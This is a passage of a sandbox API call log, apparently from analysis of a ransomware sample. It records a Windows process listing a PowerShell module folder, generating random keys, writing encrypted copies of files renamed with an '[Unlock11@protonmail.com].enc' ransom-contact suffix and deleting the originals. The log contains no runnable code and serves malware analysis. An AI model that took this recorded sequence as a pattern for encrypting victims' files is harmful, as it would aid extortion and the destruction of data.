ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0231.059] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0231.059] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0231.059] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5")) returned 0x14 [0231.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0231.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0231.062] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0")) returned 0x10 [0231.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0231.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3734160 | out: hHeap=0x2ad0000) returned 1 [0231.062] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0231.063] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.063] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="bin", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Examples", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0231.064] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x35e5, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x62de, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b06, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0231.065] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 0 [0231.066] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0231.066] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin")) returned 0x14 [0231.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0231.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0231.067] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\build.psake.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\build.psake.ps1")) returned 0x20 [0231.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0231.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0231.068] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\changelog.md")) returned 0x20 [0231.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0231.069] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us")) returned 0x14 [0231.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0231.107] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples")) returned 0x14 [0231.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0231.107] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\functions")) returned 0x14 [0231.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0231.108] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\LICENSE" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\license")) returned 0x20 [0231.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0231.109] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\nunit_schema_2.5.xsd")) returned 0x20 [0231.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0231.109] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.nuspec" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.nuspec")) returned 0x20 [0231.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0231.111] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x3734110 [0231.111] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0231.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0231.113] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0231.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0231.114] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.tests.ps1")) returned 0x20 [0231.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0231.115] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\readme.md")) returned 0x20 [0231.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0231.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3734110, Size=0x40) returned 0x3887968 [0231.115] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Snippets" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\snippets")) returned 0x14 [0231.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0231.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881258, Size=0x20) returned 0x3734138 [0231.116] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\build.psake.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\build.psake.ps1", lpFilePart=0x9bada4*="build.psake.ps1") returned 0x4d [0231.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0231.116] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md", lpFilePart=0x9bada4*="CHANGELOG.md") returned 0x4a [0231.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.117] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\changelog.md"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756)) returned 1 [0231.117] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674e94 | out: pbBuffer=0x3674e94) returned 1 [0231.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0231.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0231.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3734098 [0231.117] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\changelog.md"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.118] GetFileType (hFile=0x334) returned 0x1 [0231.118] GetFileType (hFile=0x334) returned 0x1 [0231.118] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.119] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.119] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\changelog.md.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.120] GetFileType (hFile=0x39c) returned 0x1 [0231.120] GetFileType (hFile=0x39c) returned 0x1 [0231.120] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.120] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.120] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.121] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.121] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.123] CloseHandle (hObject=0x39c) returned 1 [0231.123] CloseHandle (hObject=0x334) returned 1 [0231.124] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\CHANGELOG.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\changelog.md")) returned 0 [0231.124] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\LICENSE", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\LICENSE", lpFilePart=0x9bada4*="LICENSE") returned 0x45 [0231.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.124] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd", lpFilePart=0x9bada4*="nunit_schema_2.5.xsd") returned 0x52 [0231.124] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\nunit_schema_2.5.xsd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x16f7)) returned 1 [0231.125] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674674 | out: pbBuffer=0x3674674) returned 1 [0231.125] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\nunit_schema_2.5.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.125] GetFileType (hFile=0x334) returned 0x1 [0231.125] GetFileType (hFile=0x334) returned 0x1 [0231.125] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.126] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.126] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.126] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\nunit_schema_2.5.xsd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.127] GetFileType (hFile=0x39c) 